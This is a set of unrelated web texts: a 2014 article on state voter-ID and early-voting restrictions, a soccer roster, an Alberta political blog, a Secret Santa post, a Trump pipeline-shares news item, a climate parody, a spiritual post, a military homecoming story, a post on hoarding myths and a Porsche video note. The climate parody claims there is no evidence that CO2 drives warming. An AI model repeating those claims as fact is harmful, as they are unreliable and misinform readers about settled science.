the birth certificate.”  In the low-turnout November 2013 state primary, more than 250 provisional ballots were rejected because the voters failed to present qualifying ID. While most empirical studies show that requiring voter ID has a negative effect on turnout, there aren’t enough data yet to estimate with precision the impact the law will have on turnout if it remains in effect—especially since there has never been an ID requirement as strict as Texas’s. We may never find out, depending on what happens in the courts over the next few weeks. Closing arguments in the case challenging the law were made on September 22; a decision could come any day now.  Data: Brennan Center for Justice/Art: Mary Parsons The states shown in blue are facing court challenges to voter suppression measures.  Wisconsin. Unless a court steps in, a strict new voter ID law and cutbacks to early voting are slated to go into effect in Wisconsin for the first time this November. Wisconsin Governor Scott Walker played a significant role in pressing these controversial new voting measures, and they could now make a difference in his close re-election race this year.  The new voter ID law, which rivals Texas’s as one of the country’s most restrictive, was previously blocked by multiple state and federal courts, but those decisions were recently lifted, just weeks before the election. By a tie vote, the Seventh Circuit Court of Appeals refused to rehear the appeal en banc, with Judge Richard A. Posner, who famously regretted his vote to uphold Indiana’s ID law, voting to rehear. With almost no time to prepare or educate voters, and with early absentee voting already under way, this last-minute change could create serious snafus in the election. The thousands of people who have already mailed in absentee ballots have been told that they now need to send in copies of their photo IDs—assuming they have them—or their votes will not count. In addition to the confusion, the law will certainly create problems for the 300,000 eligible Wisconsin voters who do not have IDs acceptable under the new law. In Milwaukee County, the state’s largest, 7.3 percent of white voters, 13.2 percent of African Americans, and 14.9 percent of Latinos lack acceptable IDs.  Wisconsin also eliminated weekend early voting, effectively preventing “Souls to the Polls” drives in the state this year. Florida’s experience in 2012 shows that cutting Sunday voting can make a serious dent in turnout; more than 18 percent of Floridians who voted on the last Sunday of early voting in 2008—eliminated in 2012—did not vote at all in 2012, according to an analysis by Professors Paul Gronke of Reed College and Charles Stewart of the Massachusetts Institute of Technology.  Kansas and Arizona. Voting restrictions have the potential to make a difference in the close gubernatorial and Senate races in Kansas, and in close House races in Arizona this year. Both states now require documentary proof of citizenship to register to vote, a measure first authored by embattled Kansas Secretary of State Kris Kobach.  Since January 2013, tens of thousands of voter registrations have been submitted in Kansas without the required documents. Although aggressive research and outreach efforts have helped get thousands of these documents to voters, there are currently almost 20,000 Kansans who attempted to register but will not be able to vote this November. There are no new numbers available from Arizona, but when the state first implemented its requirement in 2005, more than 31,000 applications were rejected for lack of documents, and community-based voter registration plummeted by 44 percent in the state’s largest county. Only 11,000 of those applicants were later able to register to vote, and about 20 percent of the remaining 20,000 unsuccessful applicants were Latino. The laws are currently the subject of two lawsuits, only one of which is likely to be decided before the upcoming election. If voting advocates prevail in that suit, then voters who lack citizenship documentation will be able to register and vote in federal races only.  Florida has long led the country in voting restrictions. Most recently, in 2011, the state cut back on early voting, hampered voter registration drives, and rolled back voting rights for people with past convictions. While the early voting and voter registration restrictions have been mitigated by court decisions and even a 2013 partial repeal, the more than 1.3 million Floridians convicted of crimes who have completed their sentences and paid their debt to society are still essentially permanently disenfranchised because of changes Governor Rick Scott and his clemency board made to Florida’s rules in 2011. Scott’s new criminal disenfranchisement rules, which rolled back pro-voter reforms passed by former Governor Charlie Crist, have the potential to make a big difference in this year’s neck-and-neck gubernatorial race between Scott and Crist.  Ohio may not have a close statewide race this year, but its voting shenanigans are always of national concern. This year, state officials tried to cut back dramatically on early voting—stopping all weekend early voting—and to eliminate its period of same-day registration popularly known as “Golden Week.” As a federal court recently found, and an appeals court affirmed, these moves could have hurt tens of thousands of voters, and disproportionately African Americans. The courts initially blocked these changes for this election, but just one day before early voting and Golden Week were scheduled to begin, the five conservative justices of the U.S. Supreme Court reinstated them. These measures were put in place in response to the chaos and long lines at the polls in 2004; their loss could spell trouble this year. The fight in Ohio is not yet over for 2016.  Arkansas passed one of the new wave of strict voter ID laws last year. With one of the country’s hottest Senate races in the balance, the law has taken on much greater significance this year. A state court found that the law violates the state’s constitution, which has strong protections for voting rights, but it declined to block the law. The case was heard by the Arkansas Supreme Court, and a decision could come down any day now.  What’s Next?  New voting laws aren’t the only concerns this year. Watch out for politically motivated attacks on groups that register voters, last-minute attempts to purge names off voter rolls, and voter harassment by vigilante groups—all of which have the potential to chill registration and participation. Watch also for widespread confusion and mistakes as a result of all these voting rules changes. And watch out for long lines at the polls, especially in minority communities; despite the uproar in 2012, the country still hasn’t taken key steps to prevent lines.  The role of the courts will be critical in the coming days and weeks. In five key states—Arizona, Arkansas, Kansas, North Carolina, and Texas—the voting rules are still up in the air as lawsuits challenging new laws make their way through the courts. In the lead-up to the 2012 election, 10 courts in seven states blocked, postponed, or mitigated virtually all of the harshest new voting restrictions that were slated to go into effect that year. But that was before the Supreme Court had gutted a key portion of the Voting Rights Act. The jury is still out on whether the courts will be as forceful in protecting voting rights this year. The country needs them to be—or we risk cementing a new pattern of elections marred by discriminatory partisan changes to voting rules.
-Photo by ISIphotos.com  By FRANCO PANIZO  U.S. men's national team head coach Jurgen Klinsmann has released the 24-man roster that will aim to attempt to reach the final round of World Cup qualifying, and there are surprises aplenty.  Sacha Kljestan, Eddie Johnson and Alan Gordon were among the players selected by Klinsmann for the upcoming World Cup qualifiers against Antigua & Barbuda and Guatemala, while Jozy Altidore, Terrence Boyd, Jose Torres and Chris Wondolowski were all surprisingly left off. Landon Donovan, who suffered a knee injury on Saturday while playing for the Los Angeles Galaxy, was also included on the roster.  Other veterans on the team are Tim Howard, Carlos Bocanegra, Michael Bradley and Clint Dempsey.Timmy Chandler, who told SBI last month he was open to an October call-up, was also once again missing.  Here is the full roster:  GOALKEEPERS (3) : Brad Guzan (Aston Villa), Tim Howard (Everton), Nick Rimando (Real Salt Lake)  DEFENDERS (8) : Carlos Bocanegra (Racing Santander), Geoff Cameron (Stoke City), Edgar Castillo (Club Tijuana), Steve Cherundolo (Hannover), Maurice Edu (Stoke City), Clarence Goodson (Brondby), Fabian Johnson (Hoffenheim), Michael Parkhurst (Nordsjaelland)  MIDFIELDERS (8) : Kyle Beckerman (Real Salt Lake), Michael Bradley (Roma), Joe Corona (Club Tijuana), Jermaine Jones (Schalke 04), Sacha Kljestan (Anderlecht), Brek Shea (FC Dallas), Danny Williams (Hoffenheim), Graham Zusi (Sporting Kansas City)  FORWARDS (5): Clint Dempsey (Tottenham Hotspur), Landon Donovan (LA Galaxy), Herculez Gomez (Santos), Alan Gordon (San Jose Earthquakes), Eddie Johnson (Seattle Sounders)  The U.S. players have already begun convening in Miami for camp, which is the second-to-last one Klinsmann is expected to have this year. The team will train there through Wednesday.  The U.S. is currently tied on points in Group A with both Jamaica and Guatemala with two games remaining. The Americans visit Antigua & Barbuda on Friday before hosting Guatemala in their final group stage match four days later.  —-  What do you think of this roster? Which inclusion/omission most surprised you? Why do you think Altidore and Boyd were left off?  Share your thoughts below.
-Prime Minister Stephen Harper was apparently grinding away at his Conservative caucus yesterday morning about the need for Senate reform.  An interesting strategy, his!  First you pack the place with self-entitled cheats and porkchoppers like Mike "The Puffster" Duffy, then you argue that their misdeeds are proof the institution needs reform!  If nothing else, this suggests Calgary Centre MP Joan Crockatt was sticking right to the party strategy handbook when she suggested in a now-notorious Tweet that her Conservative Party is more ethical than all those other parties because some of its unethical senators resigned from caucus when they got caught.  Of course, this doesn't mean very much when they can be expected to go on reliably voting for the same things as they would as caucus members while try to insinuate their way back to insider status, at least until they reach 75.  Crockatt's risible suggestion prompted general hilarity among the chattering classes nationwide -- and probably would have gone international had it not been for the antics of Toronto Mayor (and future Conservative senator?) Rob Ford, who was already occupying the Canadian Curiosity slot on foreign newscasts.  (By the way, here's a note for the Globe and Mail's editors, if such a thing is still employed by our National Paywalled Website: Unlike Davy Crockett, the late U.S. Congressman of a similar name, it's Joan Crockatt, with an A.)  Let it be said nevertheless that Crockatt might be well advised to follow the example of former avid Tweeter Pat Martin of the New Democratic Opposition and shut down her Twitter account for the duration, or at least hand it over to a reliable aide.  Speaking of reliable aides, that brings us right back to the prime minister's current sea of troubles.  I expect Harper's suggestion at a studiously public caucus meeting yesterday morning that any of his MPs who are just there for reasons of self interest should "leave this room" was mainly greeted with discreetly rolled eyes.  "I know that like me and my family, you are scrupulous about paying personal expenses," Harper is said to have added, presumably with a poker face and to a largely silent room, before quickly jetting off to the much friendlier environs of Peru and Colombia, leaving Question period to underlings.  Harper's problem is that, right now thanks to Senator Duffy and others, the public has taken a fairly jaundiced view of his government, and he knows it. And nowadays who can blame them for a little cynicism, when just a few layers of the onion are peeled back yet the PM refuses to acknowledge any responsibility or even knowledge of what was going on among his closest aides right in his own office?  Instead, quite typically, Harper blamed the NDP and the Liberals for his self-inflicted troubles -- and privately, no doubt, the "liberal" media as well. You know, those well-known social democrats like PostMedia's Andrew Coyne and the editorial Board of the Globe and Mail, for whom l'affaire Puffster has been too much to swallow even with their usual tolerance for bad-tasting Tory potions.  Despite Harper's not-entirely-successful attempts to "distance himself" form his stinky Senate appointments, the PM had very little to say before his hasty departure about the one issue that would have benefitted from the disinfectant properties of a little sunlight.  To wit: the unethical and possibly illegal payment of $90,172 by the former chief of the prime minister's staff, Nigel Wright, to Senator Duffy.  Wright fell on his sword on Sunday morning to protect his prime minister after his effort failed to bail out the Harper Government by quietly paying off Senator Duffy's improperly claimed away-from-home living expenses.  Alas for Harper -- who has replaced Wright with a callow former National Citizens Coalition hack rather like himself who used to walk around wearing a picket sign reading, "Liberal, Tory, Same Old Story"– the issue just won't fade away.  Indeed, the only way to make it go away forever is to fix the Senate. And unfortunately for the PM's "reform" talk, the only way to fix the Senate that will actually work is to abolish it.  Contracts? Contracts? Who cares about contracts?  Meanwhile, out here in Alberta, Premier Alison Redford has vowed to forestall the inevitable and force former Capital Health and Alberta Health Services CFO Allaudin Merali to go to court if he wants to try to get his half-million or so dollars in severance.  Alert readers will recall how Merali's expense account became a cause célèbre and a huge embarrassment to the Redford Government in August 2012 when CBC investigative reporter Charles Rusnell published the results of a Freedom of Information search revealing "how he spent tens of thousands of dollars on lavish meals at high-end restaurants, bottles of wine, even a phone for his Mercedes Benz car." Merali left the employ of AHS soon thereafter.  Yesterday, Calgary Sun political columnist Rick "The Dinger" Bell quoted Redford as saying, "If people think they are entitled to something in a contract and other people don't think they're entitled to it I guess they can hire lawyers and take legal routes and go to court."  In other words, she said: "We are not going to voluntarily do anything with respect to his severance. … We are not going to simply sit back and take a look at what he may or may not feel he's entitled to without resisting that."  There are just four problems with this plan:  1) Alberta Health Services signed a contract with the guy that says he's owed the money  2) Outrageous as his expenses may have seemed, all of them appear to have met the lax the rules for executive expenses in effect at the time he was a Capital Health Region employee  3) He was rehired and then fired by another employer, AHS, and there's no evidence his expenses at that organization broke any rules  4) Canada, even the part governed by Redford's Progressive Conservative Party, still has an independent and impartial judiciary  In other words, while Redford's attitude is pretty typical of Alberta's Top Tory Dogs -- that is, the law is for you, not for us -- sooner or later we Alberta taxpayers are going to have to pony the money up to Merali.  Yes, we can understand that by getting caught by the CBC successfully claiming expenses that offended ordinary voters, Merali embarrassed the government and incurred the premier's wrath.  But we can also understand that Alberta taxpayers are not very well served by a legal fight against Merali's claim, which as far as can be seen is entirely legitimate and backed up by a long trail of paper.  All Alberta's premier is doing with this posturing, it is said here, is pouring good money after bad.  Unless, that is, she is slicing the facts extremely finely, since it will be AHS that has to pay up, and not technically "her" -- that is, on the principle of l’état c’est moi, the government of Alberta.  On the other hand, if she is proposing to get involved in the affairs of AHS, that is not necessarily a bad thing either.  She could start by telling AHD Board Chair Stephen Lockwood to stop defending bonus pay for the health agency's remaining executives on the grounds "it would be wrong from many perspectives to not compensate them as per their terms of employment."  You know, completely unlike Merali.  This post also appears on David Climenhaga's blog, Alberta Diary.
-A gift in three parts, my Scottish 'Santa is quite the sleuth! The two biggest themes were video games and delicious food. She even made sure my adorkable mutt Pochi got in on the action!  The first to arrive was a really cool poster with colored silhouettes of Nintendo's best-known characters. That will be getting framed and hung in the basement that I've recently converted into a retro gaming den. In fact, it would be there now if I'd had two seconds to sit down and gather myself since December began. =p  The next day, a box arrived that was clearly for Pochi. In fact, he must have been able to smell it, because he started losing his mind as soon as I brought it inside. Upon opening, he found a squeaky toy (that is mercifully ultrasonic, so I can't hear it), two bags of natural treats, a large crunchy bone (which he absolutely demolished in minutes), and a rawhide twist!  About this time, I logged into Reddit to discover that she'd given me three months of Reddit Gold! Whee! =)  The grand finale finally made it to me on Christmas Eve! It was a large, hand-packed box of assorted goodness, with an envelope labelled "Open First". Not one to ignore directions, I opened it to discover her delightfully creative rendition of "The Twelve Days of Christmas" with Zelda-themed substitutions! (Side note: Seriously... How often does a guy get serenaded with The Legend of Zelda? A girl after my own heart!) The card also mentions the hope that I have a sweet tooth. Eeeeyes ma'am. I certainly do.  Anywho, this box contained dozens of little packages, and each of these things was individually wrapped. This must have taken her hours! I started taking pictures of everything as I unwrapped it, before I realized that would be a ridiculous quantity of pictures. Among the deluge of candy and confections (like, legit: I'm about to celebrate the first coming of Christ, and I already have enough sweets to last until the second) were three pairs of cute/funny printed socks (zombie, sneaker, and sandal), a bamboo puzzle game that looks like it will wreck my brain in short order, and a cool fish-shaped toy that curls up in your hand when exposed to your body heat. Finally, just when I thought it couldn't get any better, at the bottom was an incredible hand-drawn portrait of Link from Windwaker! I know that on the card she said she couldn't draw, but she's clearly just being modest. If I had attempted such a sketch, it would be a stick figure done with green crayon. =p  Thank you, Littleone23! You made my first exchange amazing! =)
-President-elect Donald Trump dumped his shares in the company behind the Dakota Access Pipeline (DAPL) last summer as demonstrations against the project raised to a fevered pitch.  Trump sold his shares in Energy Transfer Partners, the company working to construct the multi-billion dollar project, the president-elect’s spokeswoman Hope Hicks told the Washington Post. ETP recently agreed to a $20 billion merger with Sunoco in an all-stock transaction.  The financial disclosure form filed in May of 2015 shows Trump dumped between $500,000 and $1 million into the company. The information was disclosed in Trump’s filing to the Federal Election Commission.  Trump tossed another $500,000 in Phillips 66, which will have a 25 percent ownership in the project once completed. He reported making upward of $50,000 in interest, dividends and capital gains from the pipeline.  The $3.8 billion line has come under withering scrutiny from anti-oil pipeline protesters and American Indian tribes.  Standing Rock Sioux tribe, one of the tribes spearheading opposition, argues the pipeline’s construction would trample on tribal lands and destroy artifacts. They also believe it could potentially poison waterways, including rivers such as the Missouri River and Lake Oahe.  Many of the same groups that opposed the Keystone XL pipeline have joined the fight against the DAPL, which would bring 470,000 barrels of Bakken crude oil per day from western North Dakota to southern Illinois.  Trump’s decision to drop the stocks could help him avoid allegations that his role in the company constitutes a conflict of interest; he still must find a way to navigate similar conflicts of interest popping up among his possible future cabinet members.  One of Trump’s possible cabinet members – former Texas Gov. Rick Perry — has served as a director of ETP since early 2015, and owns $100,000 worth of stock in the company, according to a Securities and Exchange Commission form filed in January.  The Texas Republican also serves on the board of Sunoco Logistics Partners LP, which announced Monday it was purchasing ETP for a hefty $21 billion. Perry must determine whether to place his stock in a blind trust to avoid conflicts of interest going forward.  President Barack Obama momentarily stopped pipeline construction in September, potentially leaving DAPL’s fate up to the Trump administration.  ETP’s CEO Kelcey Warren’s decision to shovel more than $100,000 to elect Trump. Warren dumped another $66,000 into the Republican National Committee.  Warren contributed $1.53 million in donations to super PACs and $252,300 to individual campaigns and the GOP, according to the Center for Responsive Politics.  Follow Chris on Twitter  Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.
-Kevin Trenberth wrote the following text:  So it must be a spherical global warming! Before I will mention every sentence of Trenberth's musings, let me offer you a quiz.Click the image above to zoom in.You see a graph that seems to be a graph of some temperatures. You see that the maximum that the temperature has reached on this graph is slightly above 0.7 °C. On the horizontal axis, you see 8 cells. Your task is to guess the value of the temperature now, pretty much in the middle of the next, 9th cell (the first one on the right side that isn't shown on the graph anymore).The function seems to be increasing, right? It could be something like 0.8 °C or 0.9 °C, some readers will say. The tiny dip at the right end of the graph is an irrelevant fluctuation. We see that the temperature was recently increasing by 0.1-0.2 °C per cell.Are they right? Well, they're not right.The latest reading at the moment defined above is actually 0.445 °C. How do I know that?Because the graph above isn't a temperature graph but a graph of something that behaves in a very similar way as the local or global temperatures (at least if you take the logarithm of it) – namely the price of the Apple stock.You may play with the Apple graph at Google Finance and you will immediately see what I did. I charted the price of the stock between early 2005 and late 2012, divided it by $1,000, and added the Celsius degree as a unit to confuse you.You could have bought the stock for $7 in 2003 and it peaked above $700 in September 2012. In that way, you would earn 10,000% (ten thousand percent) of the original investment in less than a decade. Well, I guess that there are some TRF readers who did not do anything less than that...For several years, I was already amazed by the rise of the Apple stock and thought that it couldn't possibly continue – although I seriously admitted that both scenarios were possible. I was proven wrong about the "primary guess" a few times. However, since September 2012, the stock went from $700 to $445. That's more than 35% decrease. Those who bought into the stock in Fall 2012 are probably not excessively happy now.The rise of the stock had some causes – it wasn't a collection of coincidences that just happened to conspire to increase the price of the stock every year. But the idea that these causes are guaranteed to work forever is just childishly naive. There is no real evidence that the global mean temperature should behave differently than the Apple stock – and rise for the following decades and centuries, as long as the mankind burns the fossil fuels.In order to show how naive the global warming alarmists' reasoning is, I will replace the belief that everything is about the enhanced greenhouse effect which is guaranteed to last forever by the belief that the Apple stock has to rise forever due to the ingenuity of the iPod. Here is Trenberth's article (I deliberately used a not-quite-primary product of Apple, the iPod, because this is what the global warming alarmists are doing with CO2, too: it is far from being the most important greenhouse gas and the greenhouse effect is far from being the most important contribution to the energy balance and temperature variability):Has the rise of the Apple stock stalled? This question is increasingly being asked because the MP3 player market seems cool and hot, or because the price on the Wall Street is not increasing at its earlier rate or the long-term rate expected from financial model projections.The answer depends a lot on what one means by the “rising Apple stock”. For some it is equated to the “price paid on the Wall Street”. That keeps going up but also has ups and downs from year to year. More on that shortly.Why should it go up? Well, because the demand for iPods is warming as a result of human leisure-time activities. With increasing collections of songs, videos, and other time-wasting media files in the society, there is an imbalance in data flows in and out through the cables connected to the MP3 players: the devices increasingly trap more media files and hence create a rising demand for the iPods. “Warming” of the market really means heating, and this can exhibit itself in many ways.Rising demand for the stock among buyers on the Main Street are just one manifestation. Melting Research in Motion is another. So is collapse of Microsoft, Nokia, Samsung, and other competitors that contribute to the rising unemployment among non-Apple-trained IT specialists. Increasing the traffic of the Apple Store and invigorating viral video industry is yet another. But most (more than 90%) of the data imbalance goes into the internal flash disks of the iPods, and several analyses have now shown this. But even there, how much the upper layers of the RAM are being filled, as opposed to how much penetrates deeper into the internal flash memory of the iPod where it may not have much immediate influence, is a key issue.My colleagues and I have just published a new analysis showing that in the past decade about 30% of the media files has been dumped at levels below 700 megabytes beneath the most frequently accessed portions of the flash memory, where most previous analyses stop.The first point is that this is fairly new; it is not there throughout the record. The cause of the shift is a particular change of the behavior of consumers who listen to the music in winds, especially in the Pacific Ocean where the subtropical trade winds have become noticeably stronger, changing the minimum volume that is needed to hear the songs and providing a mechanism for data to be carried down into the flash memory. This is associated with patterns of changes of the popular songs in the Pacific, which are in turn related to the female performances of the male interpreters.The second point is that we have found distinctive variations in Apple's stock price with male musicians. A mini rise of the stock price, in the sense of an increase of the figure on the Wall Street, occurs in the latter stages of the publication of a new song by a male interpreter, as the music comes out of the flash drive and activates the speakers. The amount of data in the flash memory is also affected by volcanic eruptions, which also affect the perceptions of Apple's stock rise, especially if a volcano covers an Apple factory by lava.Normal usage of the Internet also interferes by generating clouds that store the users' files for a while and then send them back, and there are fluctuations in the global data imbalance from month to month. But these average out over a year or so.Another prominent source of expected variability in the industry’s data imbalance is changes in the electricity industry itself, seen most clearly as the cycle of variable spot prices. From 2005 to 2010 the power plants went into a quiet phase and the data energy imbalance is estimated to have dropped by about 10 to 15%.Some of the penetration of the data into the depths of the flash memory is reversible, as it comes back when the user turns the iPod on again. But a lot is not; instead it contributes to the overall filling of the deep flash memory. This means less short-term addition of the data into the RAM, but at the expense of greater utilization of the flash memory, and faster deterioration of the competing companies. So this has consequences.Coming back to the stock price record on the Wall Street, one thing is clear. The past decade is by far the most successful one for Apple's stock price on record. Human interest in Apple Inc really kicked in during the 1970s, shortly after the company was founded in 1976, and Apple's stock price has been pretty steady since then.Mean NOAAWhile the overall increase of the price is about $500 per decade, there are three one-year periods where there was a hiatus in warming, as the graph above shows, in 2000, partly in 2002, in 2008, and between 2012 and 2013. But at each end of these periods there were big jumps. We find exactly the same sort of flat periods at random places of financial model projections, lasting easily up to 15 months in length.Focusing on the wiggles and ignoring the bigger picture of unabated rise of Apple's stock price is foolhardy, but an approach promoted by iPod success deniers. The elimination of the competition keeps marching up at a rate of more than 30 companies per decade since 1992 (when global markets using instantaneous transactions were made possible), and that is perhaps a better indicator that Apple's stock price continues unabated. The deterioration of all the competitors comes from both the melting of companies associated with the PC industry, thus adding more finances and flash memory chips to the market of intelligent phones, plus the warming and thus expanding market for the media players itself.Apple's stock rise is manifested in a number of ways, and there is a continuing wireless data transfer imbalance in the vicinity of the iPods. The current hiatus in the rise of Apple's stock price is temporary, and this increase has not gone away.LM: I hope that at least some readers were laughing. By this parody, I wanted to emphasize that while Trenberth writes and says lots of things about many random components of the atmospheric and weather systems, none of them really proves – or provides us with any significantly strong evidence – that CO2 is important enough so that the temperatures will be higher in 20, 30, 50, or 100 years. Much like the price of a stock, they may be higher but they may be lower, too. Rationalization of a predetermined conclusion is not genuine science.In fact, it seems that he talks about so many things just in order to impress the readers who don't have a clue about climatology or, and it is even worse, to distract the reader who would otherwise realize that a previous claim by Trenberth was proven wrong. Randomly jumping from one topic to another creates excuses that undemanding readers are satisfied with. He isn't carefully verifying the statements individually. Chances are that about 1/2 of his statements are simply incorrect and even those that are correct have nothing to do with the main claim that Trenberth would like to justify but he cannot justify it because there exists no scientific evidence – namely the claim that CO2 matters and is a significant (or even main?) factor for the forecasts.
-Video Version with Commentary is here  I can't remember the last time the collective energy felt so heavy. An analogy came through a week or so ago that we were being 'squeezified' in order to become 'juicified', and the suggestion was to focus on the juice when you're feeling emotionally and energetically squeezed. (that post is here) Well that suggestion applies a hundred fold today!!  You may feel like the walls are closing in on you - and on the world. Some may even feel like the 'darkness' is winning or that all your healing work has been for nothing. Yet really it is just that the 'darkness' is becoming more obvious, both within us and outside us - 'darkness' in this context is that which we have been unaware of.  More of us are becoming aware of the multiple ways in which we have been restricted as a humanity, and the ways in which we have been restricting ourselves personally. It feels like *@!# because life is not supposed to be restrictive. We are here to remember our truth, our power and what we are capable of creating. We are here to embody who we really are so that we can live free of beliefs, influences and systems that have kept us disempowered.  Today is a good day to remind yourself of how far you have come, of who you have become compared to years ago. It is a good day to remind yourself of how far the world has come, and how many people are truly awakening. It is easy to throw our hands up and say I give up, what's the point? But then where will we be?  All this new awareness can ironically trigger a lot of depression, because we feel at a loss as to what we can do to truly help so many situations. So when you do become aware of something, ask to be put on the 'solution' train track. Later that day you may find yourself doing something as simple and unrelated as watching a hilarious video clip - but that is enough to get you out of your slump and re-connect you to your flow, and suddenly you feel better about the problem you had that morning, or you feel more motivated or clear about how to tackle a greater, even global, issue. It is a good day to watch, read or do something fun, positive, empowering or invigorating that connects you with the 'juice'.  How are you all feeling?
-4-year-old Alyssa Brown visited Snow White’s wishing well atCalifornia’s Disneyland theme park with only one single wish in her mind. "Iwish with all my heart that my daddy would come home," she said inregards to her father who was serving in Afghanistan. Covering both hereyes over the well’s edge, Alyssa opened her eyes to see her father,Marine Lt. Scott Brown, down on one knee before her in Marine Dress uniform. It was a touchingmoment for everyone involved and it lived up to the fairy tale endingonly Disney can deliver.Watch the event unfold below,tissues optional….Grasping the success of such a magical well, Alyssa later told her parents shealready had her next wish ready. “My next wish is for a puppy!”, hermother said of her daughter’s wish. ‘No, we’ve got a brother instead.’Kids. You give ‘em an inch.Uploaders remarks:Welcome Home Marine LT Brown! Thank you for your service to this nation.
-Myths & Misconceptions about Hoarding Disorder  This post is part of a series of guest posts on GPS by the graduate students in my Psychopathology course during Spring 2014. As part of their work for the course, each student had to demonstrate mastery of the skill of “Educating the Public about Mental Health.” To that end, each student has to prepare two 1,000ish word posts on a particular class of mental disorders, with one of those focusing on evidence-based treatments for those disorders and the other focused on a particular myth or misunderstanding about mental illness.  ______________________________________________  Myths & Misconceptions about Hoarding Disorder by Kelly Jent  How many of us have watched shows like Hoarding: Buried Alive or My Strange Addiction and immediately judged the people on the show? Comments like “Ew. Look at all of that junk in their house… it’s so dirty! How could someone live like that?! That’s disgusting!” tend to surface. As a matter of fact, while writing this and googling different addictions, I said (to my empty house), “Oh, woah that’s weird.” It’s natural to have reactions like that about something that appears so odd to many of us and something that seemingly would be so easy to fix by quitting getting new things, cleaning, stop saving, etc. However, these comments aren’t helping anyone and are only adding to the stigma about people who having hoarding problems. Speaking of stigma, a reoccurring pattern that I noticed while researching obsessive-compulsive related disorders (e.g. hoarding disorder, trichotillomania, body dysmorphic disorder) is that the stigma surrounding them severely misrepresents the reality that the people with the disorders actually live. To the uneducated, the people are “freaks” or “weirdos” and likewise, these disorders just appear “weird” and are dismissed and justified as “being glad you don’t do stuff like that.” Once disorders like hoarding become media-ized, the public assumes they know the in’s and out’s of what goes on; they feel that they know enough to give you the gist of the problem (which most likely consists of subjective judgments rather than empirical evidence), which is all you really need to know anyway, right?  Wrong.  There are a number of myths surrounding Hoarding Disorder (just referred to as “hoarding” from here on out), but I think in order to know what hoarding is not, it is important to understand what hoarding actually is first. Hoarding is a newly recognized diagnostic category in the DSM-5 in the Obsessive-Compulsive and Related Disorders section. This disorder involves difficulty parting with possessions regardless of what their actual value is. There is a perceived need to save possessions and distress is linked to the idea or process of discarding them, therefore, items accumulate and clutter living areas which takes away from the functionality of the space. The effects of hoarding must also cause significant distress or impairment in different areas of functioning (social, occupational, familial). I stress: significant distress and impairment in functioning is a must for a diagnosis. That being cleared up, on to the misinformation!  One common myth about a person who hoards is that they are lazy, unmotivated, selfish, or gross. This is false. In fact, people who hoard ARE bothered by the clutter and dirt; they just learn to mentally block it out. They also feel shame and embarrassment due to their living situations. Studies have compared the brains of people who compulsively hoard with “healthy” brains and found that compulsive hoarders have decreased activity (less activation) in their anterior and posterior cingulate cortex. Great…but what does that mean? These brain areas are highly responsible for actions such as problem solving and decision making (anterior), spatial orientation, memory, and emotion (posterior). Decreased activity in these areas is likely contributing to the difficulty that people who hoard experience in deciding what to keep and what to throw away. People who hoard are worried that if they discard something they may actually need it someday in the future – so they keep everything from actually valuable items to items that appear meaningless such as dozens of second-hand eyeglasses that are kept “just in case.” With an accumulation of items comes a significant amount of impairment and distress and this is what distinguishes this disorder from regular collecting. Rather than being lazy or unmotivated, individuals simply may not be as able as an average person to carry out certain tasks in order to make decisions and organize things. With this in mind, it is easier to understand that hoarding is largely an information processing issue.  Now, back to the decreased activation in the posterior cingulate. Many people who hoard experience extreme anxiety when being faced with having to discard items. This is due partly to the unique emotional relationship that they have formed with their possessions. For example, some individuals anthropomorphize objects. For example, they may think that if they throw out the box that a gift came in, it would hurt the box’s feelings. There is also an association with the memory of when they received something or an event surrounding an item. The lower activity in this area of the brain also governs memory and spatial orientation; they need to have things in sight in order to remember where it is. Individuals think that they will lose items or not remember where something is if it is not in clear view which explains the plethora of items stacked from the floor to the ceiling, covering beds and spilling over tables and counters. Another example is the collection of newspapers – by throwing them away, one might forget the information that is inside of them.  Finally, people who hoard are likely to show signs of other accompanying disorders. Depression and anxiety are the two most common co-morbid disorders. Cory Chalmers of the TLC show ‘Hoarders’ says that 80-90% of all cases that they see on the show are trauma or depression based – meaning that these other experiences trigger the hoarding behavior in individuals as a way to fill a void in their life. Not surprisingly, a higher level of social disability is also found in people who hoard than not.  I was looking up YouTube videos to go along with this blog and decided to read the comments written about the videos to see what the general attitudes were towards the people in the videos. While, yes, there were some commenters who were positive and/or sympathized for the person featured in the video, the vast majority were negative and downright ignorant and rude. Here are a few gems that I came across.  “That isn’t hoarding she is a slob!” “That’s so sick. How could anyone live in there?” “Oh please miss stop making excuses and clean up your nasty house.” “This ain’t called being a horder, this is called being a lazy bum.” “Hoarding possessions I can go some way to understanding but the ones who sit in a pile of rubbish are just filthy pigs, that is not hoarding that is blatant slobbery and laziness.”  So… there’s that. I don’t know about you, but I didn’t really get warm fuzzy feelings reading those. The only warm feeling I got was due to my blood boiling. These delightful commenters perfectly illustrate why this disorder is stigmatized, and as you’ve hopefully seen, these comments only reinforce the myth that hoarders are lazy, selfish, unmotivated, or gross. Unfortunately, with the saturation of these shows and comments in the media, I don’t foresee this changing any time soon. However, next time you’re watching a show like this, keep in mind that these individuals in fact are not merely too lazy to clean, but there is most likely other underlying issues that are exacerbating this behavior.
-Share Pinterest  Email  "Top whatever" lists are popular on the internet -- quick, easy-to-read posts packaged in a convenient list for scrumptious digestion. Porsche is taking that form a step further by make its list into a video -- the first in what appears to be a new series for the automaker.  Dieter Landenberger, manager of historical archives at Porsche, pulls the sheet off five super-rare Porsche factory models that look immaculate on camera. The five rare cars are the Porsche 964 Turbo S (86 produced), 1981 924 Carrera GTS (50 -- one in white, the other 49 in Indian Red), 911 GT1 (21 made), 911 SC/RS (20 produced) and the American Roadster (only 16 produced).  The voice-over seems a bit more excited -- and Americanized -- than you'd expect from Porsche. However, considering we are going to be hearing the five best sounding Porsches next week as selected by the company, we get the excitement. Check back then for what promises to be a stunning soundtrack.
